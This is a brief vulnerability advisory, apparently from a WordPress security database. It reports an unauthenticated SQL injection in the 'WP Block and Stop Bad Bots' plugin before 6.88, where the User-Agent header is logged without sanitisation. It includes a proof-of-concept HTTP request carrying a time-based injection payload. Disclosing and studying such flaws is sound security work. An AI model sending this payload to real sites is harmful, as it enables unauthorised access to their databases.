WP Block and Stop Bad Bots < 6.88 - Unauthenticated SQLi

The plugin does not properly sanitise and escape the User Agent before using it in a SQL statement to record logs, leading to an SQL Injection issue

PoC

GET / HTTP/1.1 User-Agent: '+SLEEP(5))-- g Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0